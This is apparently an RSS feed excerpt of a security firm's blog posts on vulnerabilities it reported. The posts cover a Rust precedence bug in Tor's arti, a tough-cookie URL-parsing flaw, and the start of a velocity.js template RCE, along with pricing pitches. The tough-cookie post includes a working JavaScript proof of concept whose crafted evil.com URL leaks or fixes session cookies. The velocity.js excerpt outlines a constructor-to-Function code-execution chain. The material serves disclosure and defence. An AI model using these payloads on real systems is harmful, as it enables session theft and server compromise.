‘if !x == y’.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is the whole lesson. Code that compiles clean, passes its tests, and
survives a strict linter can still do the opposite of what it says, when the
gap is between programmer intent and operator precedence. Finding that gap
is a reading problem, not a tooling problem, which is what a real
&lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;penetration test&lt;/a&gt; does that a scanner
does not.&lt;/p&gt;
&lt;h2 id=&quot;how-we-disclosed-it&quot;&gt;How we disclosed it&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/tor-arti-timeline.svg&quot; alt=&quot;Timeline of the coordinated disclosure: privately reported to the Tor security team on June 30 2026, triaged and briefly labelled a blocker, assessed as low severity with no TROVE, and fixed and closed through merge request 4231&quot;&gt;&lt;/p&gt;
&lt;p&gt;We reported this privately to Tor’s security team on June 30, 2026. Tor’s
public tracker keeps external reporters out of the issue by policy: the
report notes the title was “intentionally neutered so that a semblance of
email confidentiality could happen,” and the public issue is filed under the
Tor security contact who triaged it. Coordinated disclosure means the fix
ships before the detail is public, which is exactly what happened here.&lt;/p&gt;
&lt;h3 id=&quot;what-this-has-to-do-with-buying-a-pentest&quot;&gt;What this has to do with buying a pentest&lt;/h3&gt;
&lt;p&gt;The reason we publish findings like this, and the critical &lt;a href=&quot;https://hackzero.ai/learn/velocity-js-rce&quot;&gt;remote code
execution in velocity.js, CVE-2026-73649&lt;/a&gt;, before it, is that depth
is the one thing a security vendor cannot fake. Anyone can claim their
testing reads code carefully. A fixed bug in the Tor codebase, credited
through the Tor security team, is a claim you can check. That same
&lt;a href=&quot;https://hackzero.ai/product/white-box&quot;&gt;white-box reading&lt;/a&gt;, pointed at your application every
month, is what our subscription buys, and our &lt;a href=&quot;https://hackzero.ai/benchmarks&quot;&gt;benchmark runs are
public&lt;/a&gt; for the parts a disclosure cannot show.&lt;/p&gt;
&lt;p&gt;The pricing is public too: $299 a month under 10 people, $499 at 10 or more, against the
$5,000 to $30,000 a single traditional test costs. Both include a pentest
every month, unlimited if you bring your own Anthropic key, and a
human-validated engagement is $2,999 per engagement on top.&lt;/p&gt;
&lt;p&gt;A year of continuous testing plus an independent SOC 2 attestation paid straight to the
CPA lands near $6,088 under 10 people and $8,488 above, versus the
$30,000-plus a three-vendor stack runs.&lt;/p&gt;
&lt;h2 id=&quot;the-short-version&quot;&gt;The short version&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We reported a bug in Tor’s &lt;code&gt;arti&lt;/code&gt; where &lt;code&gt;if !public.bits() == EXPECT_ID_BITS&lt;/code&gt; disabled an RSA key-size check.&lt;/li&gt;
&lt;li&gt;Rust reads &lt;code&gt;!&lt;/code&gt; as bitwise complement on an integer and binds it tighter
than &lt;code&gt;==&lt;/code&gt;, so the rejection branch was dead code.&lt;/li&gt;
&lt;li&gt;Impact is low by Tor’s own assessment: the &lt;code&gt;arti&lt;/code&gt; binary is unaffected,
and default key generation is 1024-bit regardless. No TROVE was issued.&lt;/li&gt;
&lt;li&gt;The fix is &lt;code&gt;if public.bits() != EXPECT_ID_BITS&lt;/code&gt;, merged in !4231 with
regression tests.&lt;/li&gt;
&lt;li&gt;Public, credited findings are the check you can run on any tester’s claim
of depth. &lt;a href=&quot;https://hackzero.ai/pricing&quot;&gt;Ours is a subscription&lt;/a&gt;, and the &lt;a href=&quot;https://hackzero.ai/book&quot;&gt;engine points at
your stack&lt;/a&gt; every month.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>ryan@hackzero.ai (Ryan Cruz)</author></item><item><title>A cookie-leak bug we reported in tough-cookie (half a billion downloads a month)</title><link>https://hackzero.ai/learn/tough-cookie-cookie-leak</link><guid isPermaLink="true">https://hackzero.ai/learn/tough-cookie-cookie-leak</guid><description>A URL-parsing differential in tough-cookie leaked victim.com cookies to attacker hosts. The decodeURI root cause, the proof of concept, and the one-line fix.</description><pubDate>Tue, 04 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;a-cookie-leak-bug-we-reported-in-tough-cookie&quot;&gt;A cookie-leak bug we reported in tough-cookie&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;We reported a cookie-leak bug in tough-cookie, a library pulled about half
a billion times a month: a URL-parsing quirk let cookies scoped to
&lt;code&gt;victim.com&lt;/code&gt; leak to an attacker’s host.&lt;/strong&gt; We scored it 7.6 (High). The
maintainers shipped our exact one-line fix in v6.0.2 the day after they
acknowledged our report.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/tough-cookie-parsing.svg&quot; alt=&quot;Diagram of the tough-cookie cookie-leak: the crafted URL with a backslash escape is parsed as evil.com by a normal URL parser but as victim.com by tough-cookie after decodeURI, so the victim&amp;#x27;s cookie is attached and sent to the attacker host&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this page:&lt;/strong&gt; &lt;a href=&quot;#the-bug-in-one-sentence&quot;&gt;the bug&lt;/a&gt; ·
&lt;a href=&quot;#the-root-cause-decodeuri-and-a-backslash&quot;&gt;the root cause&lt;/a&gt; ·
&lt;a href=&quot;#proof-of-concept&quot;&gt;proof of concept&lt;/a&gt; · &lt;a href=&quot;#who-is-affected&quot;&gt;who is affected&lt;/a&gt; ·
&lt;a href=&quot;#the-fix-is-one-line&quot;&gt;the fix&lt;/a&gt; · &lt;a href=&quot;#the-disclosure-timeline&quot;&gt;the disclosure timeline&lt;/a&gt; ·
&lt;a href=&quot;#what-this-says-about-our-testing&quot;&gt;what it says about testing&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-bug-in-one-sentence&quot;&gt;The bug in one sentence&lt;/h2&gt;
&lt;p&gt;tough-cookie decoded the URL before parsing it, so a crafted URL that a
normal parser reads as pointing to the attacker was read by tough-cookie as
pointing to the victim. The cookie jar then handed the victim’s cookies to a
request bound for the attacker’s server.&lt;/p&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Package&lt;/td&gt;&lt;td&gt;tough-cookie (npm)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reach&lt;/td&gt;&lt;td&gt;495 million downloads a month (npm, August 2026)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected&lt;/td&gt;&lt;td&gt;2.5.0 through 6.0.1 (the decodeURI call has been there since 2.5.0)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed&lt;/td&gt;&lt;td&gt;6.0.2 (PR #614, released July 7, 2026)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Severity&lt;/td&gt;&lt;td&gt;High, our CVSS score 7.6 (no CVE assigned)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Class&lt;/td&gt;&lt;td&gt;URL-parsing differential leading to cookie disclosure&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;the-root-cause-decodeuri-and-a-backslash&quot;&gt;The root cause: decodeURI and a backslash&lt;/h2&gt;
&lt;p&gt;tough-cookie is the cookie jar behind a huge slice of the JavaScript
ecosystem. It is &lt;a href=&quot;https://www.npmjs.com/package/tough-cookie&quot;&gt;downloaded around half a billion times a
month&lt;/a&gt; and rides inside request,
got, and axios cookie jars, plus a long tail of OAuth and scraping
libraries. Its job is to decide which stored cookies belong on an outgoing
request, which makes correct host parsing a security boundary, not a
nicety.&lt;/p&gt;
&lt;p&gt;The jar resolved the request URL with a decode step before parsing:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-high-contrast&quot; style=&quot;background-color:#0a0c10;color:#f0f3f6; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// tough-cookie, before the fix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt; URL&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;decodeURI&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(url))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;why-the-escape-matters&quot;&gt;Why the escape matters&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURI&quot;&gt;&lt;code&gt;decodeURI&lt;/code&gt;&lt;/a&gt;
turns the percent-escape &lt;code&gt;%5C&lt;/code&gt; into a backslash. And per the
&lt;a href=&quot;https://url.spec.whatwg.org/#url-parsing&quot;&gt;WHATWG URL standard&lt;/a&gt;, a backslash
is treated like a forward slash inside a special-scheme URL such as &lt;code&gt;https&lt;/code&gt;.
That single substitution moves the boundary between the userinfo (the part
before the &lt;code&gt;@&lt;/code&gt;) and the host.&lt;/p&gt;
&lt;h3 id=&quot;the-two-hostnames&quot;&gt;The two hostnames&lt;/h3&gt;
&lt;p&gt;Take the crafted URL &lt;code&gt;https://victim.com%5C@evil.com/&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A normal &lt;code&gt;new URL(url)&lt;/code&gt; reads the host as &lt;code&gt;evil.com&lt;/code&gt;. That is where the
bytes actually go.&lt;/li&gt;
&lt;li&gt;tough-cookie, after &lt;code&gt;decodeURI&lt;/code&gt;, read the host as &lt;code&gt;victim.com&lt;/code&gt;, and
attached that domain’s cookies.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The request goes to the attacker; the victim’s cookies go with it.&lt;/p&gt;
&lt;h2 id=&quot;proof-of-concept&quot;&gt;Proof of concept&lt;/h2&gt;
&lt;p&gt;Both directions reproduce against tough-cookie 6.0.1 from npm.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-high-contrast&quot; style=&quot;background-color:#0a0c10;color:#f0f3f6; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#91CBFF&quot;&gt;CookieJar&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt;&apos;tough-cookie&apos;&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#91CBFF&quot;&gt; jar&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt; CookieJar&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// victim&apos;s session cookie&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; jar.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;setCookie&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt;&apos;session=SECRET; HttpOnly; Path=/&apos;&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt;&apos;https://victim.com/&apos;&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#91CBFF&quot;&gt; crafted&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt; &apos;https://victim.com%5C@evil.com/&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// tough-cookie attaches the victim&apos;s cookie to the crafted URL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; jar.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;getCookieString&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(crafted)) &lt;/span&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// &quot;session=SECRET&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt; URL&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(crafted).hostname)          &lt;/span&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// &quot;evil.com&quot;  &amp;#x3C;- where it really goes&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;the-reverse-cookie-fixation&quot;&gt;The reverse: cookie fixation&lt;/h3&gt;
&lt;p&gt;The same differential works backwards. An attacker who can set a cookie on
the crafted URL plants it under &lt;code&gt;victim.com&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-high-contrast&quot; style=&quot;background-color:#0a0c10;color:#f0f3f6; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; jar.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;setCookie&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt;&apos;session=ATTACKER; Path=/&apos;&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;, crafted)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; jar.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;getCookieString&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#ADDCFF&quot;&gt;&apos;https://victim.com/&apos;&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// &quot;session=ATTACKER&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now the attacker’s session rides to the victim’s domain, the classic setup
for cookie fixation.&lt;/p&gt;

















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Direction&lt;/th&gt;&lt;th&gt;What the attacker gets&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Leak&lt;/td&gt;&lt;td&gt;the victim’s real session cookie, exfiltrated to the attacker host&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixation&lt;/td&gt;&lt;td&gt;the attacker’s cookie planted on the victim’s domain&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;who-is-affected&quot;&gt;Who is affected&lt;/h2&gt;
&lt;p&gt;Any application using tough-cookie’s CookieJar where an attacker can
influence a URL. That surface is larger than it sounds: it opens up whenever
you follow HTTP redirects, whenever a URL is user-controlled, and in many
SSRF situations. Because tough-cookie is a transitive dependency of so many
HTTP clients, plenty of teams are exposed without ever having typed its name.&lt;/p&gt;
&lt;h2 id=&quot;the-fix-is-one-line&quot;&gt;The fix is one line&lt;/h2&gt;
&lt;p&gt;Remove the decode step and parse the URL as received:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-high-contrast&quot; style=&quot;background-color:#0a0c10;color:#f0f3f6; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// after the fix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt; URL&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;(url)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is exactly what shipped. The maintainer’s pull request describes it
plainly:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Decoding the URL can result in incorrect parsing in some cases.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;and the change is titled, in the release:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;avoid decoding URL authority part&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Upgrade to &lt;a href=&quot;https://github.com/salesforce/tough-cookie/releases/tag/v6.0.2&quot;&gt;tough-cookie 6.0.2 or
later&lt;/a&gt;. The
whole fix is deleting a function call, which is the tell of a good bug: the
security boundary was one transformation away from correct.&lt;/p&gt;
&lt;h2 id=&quot;the-disclosure-timeline&quot;&gt;The disclosure timeline&lt;/h2&gt;
&lt;p&gt;We like this finding as a clean provenance story, so here is the record, all
of it verifiable on GitHub.&lt;/p&gt;
&lt;p&gt;We reported the bug through Tidelift’s coordinated-disclosure process on
July 4, 2026, with the root cause, the both-directions proof of concept
above, and the one-line fix already identified. It was acknowledged on
July 6. Later that same day the maintainers committed the fix
(&lt;a href=&quot;https://github.com/salesforce/tough-cookie/commit/82de17df3e37620ab86b2d055a3346d0c045e912&quot;&gt;82de17df&lt;/a&gt;),
opened &lt;a href=&quot;https://github.com/salesforce/tough-cookie/pull/614&quot;&gt;PR #614&lt;/a&gt;, and
released it as v6.0.2 the next day. The fix landed the day after the
acknowledgment, roughly forty-seven hours after our report.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/tough-cookie-timeline.svg&quot; alt=&quot;Timeline showing HackZero reported the bug through coordinated disclosure on July 4, the maintainers acknowledged it on July 6 and shipped the fix the same day in pull request 614, released as version 6.0.2, with credit and a CVE still pending&quot;&gt;&lt;/p&gt;
&lt;p&gt;One detail we appreciated: the regression tests added in the fix use the same
&lt;code&gt;%5C@&lt;/code&gt; payload pattern as our proof of concept, so both sides were clearly
looking at the same bug. The fast turnaround protected users quickly, which
is what matters most, and the maintainers deserve credit for moving.&lt;/p&gt;
&lt;h3 id=&quot;the-thread-redacted&quot;&gt;The thread, redacted&lt;/h3&gt;
&lt;p&gt;Here is the correspondence itself. We have blacked out the other party’s name
and address, and our own personal address, because the point is the process,
not any individual. Nothing else is altered.&lt;/p&gt;
&lt;p&gt;Our report, July 4, 6:12 PM, sent to the coordinated-disclosure address, with
the root cause, the both-directions proof of concept, and the one-line fix:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/tough-cookie-disclosure-1.png&quot; alt=&quot;Screenshot of the original disclosure email reporting the tough-cookie URL parsing differential, showing the root cause, proof of concept and recommended fix, with personal addresses redacted&quot;&gt;&lt;/p&gt;
&lt;p&gt;The reply chain: the acknowledgment, our answer, and the follow-up we sent a
month after the patch shipped asking for acceptance, a CVE, credit, and an
advisory ETA:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/tough-cookie-disclosure-2.png&quot; alt=&quot;Screenshot of the reply chain showing the acknowledgment of the report, our agreement to be copied to the maintainers, and our follow-up requesting a CVE and credit, with names redacted&quot;&gt;&lt;/p&gt;
&lt;p&gt;The acknowledgment, July 6, 8:46 AM:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Thank you for the report, we’ll investigate according to the process
described at [security process] and let you know the outcome. If the
maintainers wish to include you directly, are you okay to be cc’d with them?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Our reply, the same morning:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Yes, that’s fine. Feel free to CC me in discussions with the maintainers.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We were never cc’d. The fix was committed later that same day, and released
the next. On August 4, a month after the patch shipped, we wrote back asking
to close out four things: whether the report was formally accepted, whether a
CVE would be assigned, credit, and an ETA for a public advisory.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Credit: given the chain above (report, then acknowledgment, then fix), I’d
like to be listed as the finder in the advisory.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;and, plainly:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Getting acknowledgement is a great motivator for researchers like me, its
very sad to see it being fixed with no acknowledgement!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That request is still open at the time of publishing.&lt;/p&gt;
&lt;h3 id=&quot;credit-is-still-pending-and-it-matters&quot;&gt;Credit is still pending, and it matters&lt;/h3&gt;
&lt;p&gt;As of publication the public fix carries no credit line and no CVE has been
assigned. We have asked, through the same process, to be listed as the finder
in the advisory, and that request is still open. This is not a complaint about
one project: they moved fast, and that is good. It is a general point worth
repeating, because it is easy to drop under deadline. Coordinated disclosure
runs on credit. Reporting a serious bug privately, for free, with a fix
attached is the responsible choice, and a line in the advisory is most of
what the researcher gets back for it. Crediting the people who hand you a fix
costs nothing and keeps the next researcher reporting.&lt;/p&gt;
&lt;h2 id=&quot;what-this-says-about-our-testing&quot;&gt;What this says about our testing&lt;/h2&gt;
&lt;p&gt;We publish findings like this, alongside the critical
&lt;a href=&quot;https://hackzero.ai/learn/velocity-js-rce&quot;&gt;velocity.js RCE, CVE-2026-73649&lt;/a&gt;, and the
&lt;a href=&quot;https://hackzero.ai/learn/jsonpath-plus-rce&quot;&gt;JSONPath-Plus RCE&lt;/a&gt; (both publicly credited to
Ryan Cruz), because depth is the one thing a security vendor cannot fake.
This class of bug, a parsing differential between two libraries that both
believe they are correct, is exactly what a scanner misses and a human
reading intent against behavior catches.&lt;/p&gt;
&lt;h3 id=&quot;hackers-stay-in-the-loop&quot;&gt;Hackers stay in the loop&lt;/h3&gt;
&lt;p&gt;AI does the coverage no human team can afford monthly; a human confirms the
finding reaches a real security boundary, writes the working proof, and
files the disclosure. That &lt;a href=&quot;https://hackzero.ai/product/white-box&quot;&gt;white-box reading&lt;/a&gt;, pointed
at your app every month, is what our subscription buys, and the
&lt;a href=&quot;https://hackzero.ai/benchmarks&quot;&gt;benchmark runs are public&lt;/a&gt;. The pricing is public too: $299 a
month under 10 people, $499 at 10 or more, against the $5,000 to $30,000 a
single traditional test costs. Both include a pentest every month, unlimited
if you bring your own Anthropic key, and a human-validated engagement is
$2,999 per engagement on top. A year of continuous testing plus an
independent SOC 2 attestation paid straight to the CPA lands near $6,088
under 10 people and $8,488 above.&lt;/p&gt;
&lt;h2 id=&quot;the-short-version&quot;&gt;The short version&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We reported a cookie-leak bug in tough-cookie (half a billion downloads a
month), scored 7.6, fixed in 6.0.2.&lt;/li&gt;
&lt;li&gt;Root cause: &lt;code&gt;decodeURI&lt;/code&gt; turned &lt;code&gt;%5C&lt;/code&gt; into a backslash, the URL parser read
it as a slash, and the host boundary moved from &lt;code&gt;evil.com&lt;/code&gt; to &lt;code&gt;victim.com&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Result: victim cookies leak to attacker hosts, and attacker cookies can be
fixated onto victim domains.&lt;/li&gt;
&lt;li&gt;Fix: delete the &lt;code&gt;decodeURI&lt;/code&gt; call. Upgrade to 6.0.2.&lt;/li&gt;
&lt;li&gt;It was fixed the day after we were acknowledged; credit in the advisory and
a CVE are still pending. Credit the researchers who report responsibly. See
&lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;our other findings&lt;/a&gt; and &lt;a href=&quot;https://hackzero.ai/book&quot;&gt;how our testing
works&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>ryan@hackzero.ai (Ryan Cruz)</author></item><item><title>CVE-2026-73649: a critical RCE in velocity.js we reported (CVSS 9.8)</title><link>https://hackzero.ai/learn/velocity-js-rce</link><guid isPermaLink="true">https://hackzero.ai/learn/velocity-js-rce</guid><description>CVE-2026-73649 is a CVSS 9.8 RCE in velocity.js: a template reads its way to the Function constructor. Root cause, proof of concept, and how to patch.</description><pubDate>Tue, 04 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;cve-2026-73649-a-critical-rce-we-found-in-velocityjs&quot;&gt;CVE-2026-73649: a critical RCE we found in velocity.js&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;We reported a critical remote code execution bug in velocity.js, CVSS 9.8,
now tracked as CVE-2026-73649, fixed in 2.1.7.&lt;/strong&gt; A template can read
&lt;code&gt;$x.constructor.constructor&lt;/code&gt; to reach JavaScript’s Function constructor and
run shell commands on the server. The earlier patch blocked the write path;
the read path stayed open. velocityjs ships 2.8 million downloads a month.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Updated August 13, 2026: GitHub, the CNA here, assigned CVE-2026-73649 and
published the record to the CVE List.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/velocity-rce-chain.svg&quot; alt=&quot;Diagram of the velocity.js exploit chain: an attacker-controlled template reads the constructor property, reaches the Function constructor, builds a call to child_process execSync, and executes an arbitrary shell command on the server&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this page:&lt;/strong&gt; &lt;a href=&quot;#the-bug-in-one-sentence&quot;&gt;the bug&lt;/a&gt; ·
&lt;a href=&quot;#background-a-template-engine-that-runs-expressions&quot;&gt;what velocity.js is&lt;/a&gt; ·
&lt;a href=&quot;#the-exploit-chain-step-by-step&quot;&gt;the exploit chain&lt;/a&gt; ·
&lt;a href=&quot;#why-the-previous-patch-did-not-stop-it&quot;&gt;why the last patch missed it&lt;/a&gt; ·
&lt;a href=&quot;#am-i-affected-and-how-to-fix-it&quot;&gt;am i affected&lt;/a&gt; ·
&lt;a href=&quot;#where-cve-2026-73649-is-tracked&quot;&gt;where the cve is tracked&lt;/a&gt; ·
&lt;a href=&quot;#what-a-library-rce-has-to-do-with-buying-a-pentest&quot;&gt;what this has to do with pentests&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-bug-in-one-sentence&quot;&gt;The bug in one sentence&lt;/h2&gt;
&lt;p&gt;velocity.js evaluated property-read expressions inside a template without
filtering dangerous keys, so &lt;code&gt;constructor&lt;/code&gt; walked from an empty object all
the way to &lt;code&gt;Function&lt;/code&gt;, and &lt;code&gt;Function(body)()&lt;/code&gt; executed attacker-chosen code.
The &lt;a href=&quot;https://github.com/shepherdwind/velocity.js/security/advisories/GHSA-7gfh-x38p-prh3&quot;&gt;advisory&lt;/a&gt;
rates it 9.8 on the &lt;a href=&quot;https://www.first.org/cvss/calculator/3.1&quot;&gt;CVSS v3.1 scale&lt;/a&gt;,
one of the few scores reserved for unauthenticated, network-reachable,
